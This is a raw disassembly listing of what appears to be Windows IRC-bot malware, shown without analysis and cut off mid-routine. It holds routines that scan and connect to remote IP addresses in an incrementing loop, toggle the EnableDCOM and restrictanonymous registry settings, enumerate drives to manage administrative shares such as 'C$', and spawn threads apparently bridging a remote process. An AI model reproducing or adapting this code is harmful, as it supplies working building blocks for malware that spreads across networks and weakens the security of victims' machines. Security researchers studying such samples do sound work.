loc_415953:				; CODE XREF: .data:004158EEj
					; .data:004158F5j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4380C4
		push	1Ch
		push	edi
		call	sub_41752A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42E920, esi
		jle	short loc_415997

loc_415971:				; CODE XREF: .data:00415995j
		call	sub_417012
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_4380B4
		push	1Ch
		push	edi
		call	sub_41752A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42E920
		jl	short loc_415971

loc_415997:				; CODE XREF: .data:0041596Fj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41599D	proc near		; CODE XREF: sub_415A3A+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_423058	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		call	dword_43EB30	; FindWindowA
		cmp	esi, 64h
		jbe	short loc_4159EC
		test	eax, eax
		mov	eax, offset dword_4380D8
		jnz	short loc_4159D5
		mov	eax, offset byte_43BCE8

loc_4159D5:				; CODE XREF: sub_41599D+31j
		push	eax
		push	esi
		push	offset dword_4380D0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41752A
		add	esp, 14h
		jmp	short loc_415A06
; ---------------------------------------------------------------------------

loc_4159EC:				; CODE XREF: sub_41599D+28j
		test	eax, eax
		mov	eax, offset dword_4380D8
		jnz	short loc_4159FA
		mov	eax, offset byte_43BCE8

loc_4159FA:				; CODE XREF: sub_41599D+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_415A06:				; CODE XREF: sub_41599D+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4177B0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415A35
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418AE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418910
		add	esp, 18h

loc_415A35:				; CODE XREF: sub_41599D+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_41599D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A3A	proc near		; CODE XREF: sub_40E961+7Fp
					; sub_40EAC7+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi

loc_415A43:				; CODE XREF: sub_415A3A+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_415A61
		lea	eax, dword_438050[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_4173D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415A6F
; ---------------------------------------------------------------------------

loc_415A61:				; CODE XREF: sub_415A3A+Dj
		mov	ecx, dword_43805C[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_415A6F:				; CODE XREF: sub_415A3A+25j
		test	eax, eax
		jnz	short loc_415A7E
		add	esi, 14h
		inc	edi
		cmp	esi, 64h
		jb	short loc_415A43
		jmp	short loc_415A8C
; ---------------------------------------------------------------------------

loc_415A7E:				; CODE XREF: sub_415A3A+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_438060[eax*4]
		pop	ecx

loc_415A8C:				; CODE XREF: sub_415A3A+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415A9F
		push	[ebp+arg_0]
		call	sub_41599D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_415A9F:				; CODE XREF: sub_415A3A+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AA4	proc near		; DATA XREF: sub_415B71+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A4h], esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43EB24	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43EBA4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415B62
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43EACC	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_444574[ecx], esi
		jz	short loc_415B62
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		mov	edi, offset dword_489280
		push	offset dword_4380E0
		push	edi
		call	sub_416FB6
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D476
		push	edi
		call	sub_40BD8D
		add	esp, 28h

loc_415B62:				; CODE XREF: sub_415AA4+5Dj
					; sub_415AA4+7Ej
		push	esi
		call	dword_43EBBC	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415AA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_415B71	proc near		; DATA XREF: sub_40EC43+359Fo

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_423064
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi

loc_415B9F:				; CODE XREF: sub_415B71+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset dword_438128
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_444368
		push	eax
		call	sub_418910
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_415AA4
		push	edi
		push	edi
		call	dword_4230A0	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_415C0B
		jmp	short loc_415C06
; ---------------------------------------------------------------------------

loc_415C02:				; CODE XREF: sub_415B71+98j
		push	32h
		call	esi	; Sleep

loc_415C06:				; CODE XREF: sub_415B71+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_415C02

loc_415C0B:				; CODE XREF: sub_415B71+8Dj
		push	[ebp+var_4]
		call	dword_423078	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_417090
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43EA58	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43EB20	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_417090
		add	esp, 0Ch
		jmp	loc_415B9F
sub_415B71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C62	proc near		; DATA XREF: sub_40EC43+5F36o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415CA9
		call	sub_415CC2
		jmp	short loc_415CAE
; ---------------------------------------------------------------------------

loc_415CA9:				; CODE XREF: sub_415C62+3Ej
		call	sub_415FE8

loc_415CAE:				; CODE XREF: sub_415C62+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_416D90
		pop	ecx
		push	0
		call	dword_423054	; ExitThread
sub_415C62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC2	proc near		; CODE XREF: sub_415C62+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43EBF0, edi
		jnz	loc_415DF4
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43EB94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415D4D
		mov	ax, word_4384EC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43EB48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_415D35
		push	offset unk_4384AC
		jmp	short loc_415D3A
; ---------------------------------------------------------------------------

loc_415D35:				; CODE XREF: sub_415CC2+6Aj
		push	offset dword_438480

loc_415D3A:				; CODE XREF: sub_415CC2+71j
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43EB00	; RegCloseKey
		jmp	short loc_415D60
; ---------------------------------------------------------------------------

loc_415D4D:				; CODE XREF: sub_415CC2+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438440
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_415D60:				; CODE XREF: sub_415CC2+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_415D7F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_415D7F:				; CODE XREF: sub_415CC2+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BD8D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43EB94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415DED
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43EB48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_415DD5
		push	offset unk_4383E0
		jmp	short loc_415DDA
; ---------------------------------------------------------------------------

loc_415DD5:				; CODE XREF: sub_415CC2+10Aj
		push	offset unk_438398

loc_415DDA:				; CODE XREF: sub_415CC2+111j
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43EB00	; RegCloseKey
		jmp	short loc_415E07
; ---------------------------------------------------------------------------

loc_415DED:				; CODE XREF: sub_415CC2+E2j
		push	offset unk_438348
		jmp	short loc_415DF9
; ---------------------------------------------------------------------------

loc_415DF4:				; CODE XREF: sub_415CC2+13j
		push	offset unk_438304

loc_415DF9:				; CODE XREF: sub_415CC2+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_415E07:				; CODE XREF: sub_415CC2+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_415E26
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_415E26:				; CODE XREF: sub_415CC2+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BD8D
		cmp	dword_43EC18, edi
		pop	ecx
		jnz	loc_415FA3
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_415E49:				; CODE XREF: sub_415CC2+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43EA70
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_415EE8
		cmp	eax, 0EAh
		jz	short loc_415EE8
		xor	esi, esi

loc_415E77:				; CODE XREF: sub_415CC2+21Fj
		push	off_43816C[esi]
		push	edi
		call	sub_40DACA
		pop	ecx
		pop	ecx
		push	off_43816C[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_415E9C
		push	offset unk_4382D0
		jmp	short loc_415EA1
; ---------------------------------------------------------------------------

loc_415E9C:				; CODE XREF: sub_415CC2+1D1j
		push	offset unk_438294

loc_415EA1:				; CODE XREF: sub_415CC2+1D8j
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_415ECE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_415ECE:				; CODE XREF: sub_415CC2+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BD8D
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_415E77
		jmp	loc_415F80
; ---------------------------------------------------------------------------

loc_415EE8:				; CODE XREF: sub_415CC2+1AAj
					; sub_415CC2+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_415F77

loc_415EF7:				; CODE XREF: sub_415CC2+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_41969C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_415F6C
		push	edi
		call	sub_40D9B7
		push	eax
		push	0
		call	sub_40DACA
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_415F2C
		push	offset unk_438260
		jmp	short loc_415F31
; ---------------------------------------------------------------------------

loc_415F2C:				; CODE XREF: sub_415CC2+261j
		push	offset unk_438224

loc_415F31:				; CODE XREF: sub_415CC2+268j
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_415F5F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_415F5F:				; CODE XREF: sub_415CC2+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BD8D
		pop	ecx

loc_415F6C:				; CODE XREF: sub_415CC2+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_415EF7
		xor	edi, edi

loc_415F77:				; CODE XREF: sub_415CC2+22Fj
		push	[ebp+var_8]
		call	dword_43EBB4

loc_415F80:				; CODE XREF: sub_415CC2+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_415E49
		lea	eax, [ebp+var_214]
		push	offset unk_4381EC
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_415FB6
; ---------------------------------------------------------------------------

loc_415FA3:				; CODE XREF: sub_415CC2+177j
		lea	eax, [ebp+var_214]
		push	offset unk_4381AC
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_415FB6:				; CODE XREF: sub_415CC2+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_415FD4
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_415FD4:				; CODE XREF: sub_415CC2+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BD8D
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_415CC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FE8	proc near		; CODE XREF: sub_415C62:loc_415CA9p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43EBF0, ebx
		push	esi
		jnz	loc_416116
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43EB94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416073
		mov	ax, word_4386DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43EB48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41605B
		push	offset unk_4386A8
		jmp	short loc_416060
; ---------------------------------------------------------------------------

loc_41605B:				; CODE XREF: sub_415FE8+6Aj
		push	offset dword_43867C

loc_416060:				; CODE XREF: sub_415FE8+71j
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43EB00	; RegCloseKey
		jmp	short loc_416086
; ---------------------------------------------------------------------------

loc_416073:				; CODE XREF: sub_415FE8+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438440
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_416086:				; CODE XREF: sub_415FE8+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4160A5
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_4160A5:				; CODE XREF: sub_415FE8+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BD8D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43EB94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41610F
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43EB48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_4160F7
		push	offset unk_438630
		jmp	short loc_4160FC
; ---------------------------------------------------------------------------

loc_4160F7:				; CODE XREF: sub_415FE8+106j
		push	offset unk_4385E8

loc_4160FC:				; CODE XREF: sub_415FE8+10Dj
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43EB00	; RegCloseKey
		jmp	short loc_416129
; ---------------------------------------------------------------------------

loc_41610F:				; CODE XREF: sub_415FE8+E2j
		push	offset unk_438598
		jmp	short loc_41611B
; ---------------------------------------------------------------------------

loc_416116:				; CODE XREF: sub_415FE8+13j
		push	offset unk_438304

loc_41611B:				; CODE XREF: sub_415FE8+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_416129:				; CODE XREF: sub_415FE8+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416148
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_416148:				; CODE XREF: sub_415FE8+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BD8D
		cmp	dword_43EC18, ebx
		pop	ecx
		jnz	loc_4162BF
		push	edi
		xor	esi, esi
		mov	edi, 200h

loc_416169:				; CODE XREF: sub_415FE8+1EEj
		push	dword_438170[esi]
		push	off_43816C[esi]
		push	ebx
		call	sub_40DA1E
		add	esp, 0Ch
		push	off_43816C[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_416195
		push	offset unk_438568
		jmp	short loc_41619A
; ---------------------------------------------------------------------------

loc_416195:				; CODE XREF: sub_415FE8+1A4j
		push	offset unk_438530

loc_41619A:				; CODE XREF: sub_415FE8+1ABj
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4161C3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_4161C3:				; CODE XREF: sub_415FE8+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BD8D
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_416169
		call	dword_42317C	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_4162A7

loc_4161EB:				; CODE XREF: sub_415FE8+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41629C
		cmp	bl, 41h
		jz	loc_41629C
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41752A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41752A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43EB84	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41629C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DA1E
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_416260
		push	offset unk_438568
		jmp	short loc_416265
; ---------------------------------------------------------------------------

loc_416260:				; CODE XREF: sub_415FE8+26Fj
		push	offset unk_438530

loc_416265:				; CODE XREF: sub_415FE8+276j
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41628F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_41628F:				; CODE XREF: sub_415FE8+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BD8D
		pop	ecx

loc_41629C:				; CODE XREF: sub_415FE8+20Bj
					; sub_415FE8+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4161EB

loc_4162A7:				; CODE XREF: sub_415FE8+1FDj
		lea	eax, [ebp+var_220]
		push	offset unk_4384F0
		push	eax
		call	sub_416FB6
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_4162D2
; ---------------------------------------------------------------------------

loc_4162BF:				; CODE XREF: sub_415FE8+173j
		lea	eax, [ebp+var_220]
		push	offset unk_4381AC
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_4162D2:				; CODE XREF: sub_415FE8+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4162F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D476
		add	esp, 14h

loc_4162F0:				; CODE XREF: sub_415FE8+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BD8D
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_415FE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416304	proc near		; CODE XREF: sub_415208+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416459
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_444574[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4230A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41662B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416373
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438728
		call	sub_40BE01
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_416453
; ---------------------------------------------------------------------------

loc_416373:				; CODE XREF: sub_416304+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4166C9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_4163B4
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438728
		call	sub_40BE01
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_423168	; TerminateThread
		xor	eax, eax
		jmp	loc_416454
; ---------------------------------------------------------------------------

loc_4163B4:				; CODE XREF: sub_416304+86j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_423180	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_41640E
		dec	eax
		jz	short loc_416408
		dec	eax
		jz	short loc_4163F4
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4386E0
		call	sub_40BE01
		pop	ecx
		pop	ecx
		jmp	short loc_416423
; ---------------------------------------------------------------------------

loc_4163F4:				; CODE XREF: sub_416304+D9j
		mov	edi, dword_423168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_416423
; ---------------------------------------------------------------------------

loc_416408:				; CODE XREF: sub_416304+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_416412
; ---------------------------------------------------------------------------

loc_41640E:				; CODE XREF: sub_416304+D3j
		push	ebx
		push	dword ptr [esi+14h]

loc_416412:				; CODE XREF: sub_416304+108j
		call	dword_423168	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_423170	; TerminateProcess

loc_416423:				; CODE XREF: sub_416304+EEj
					; sub_416304+102j
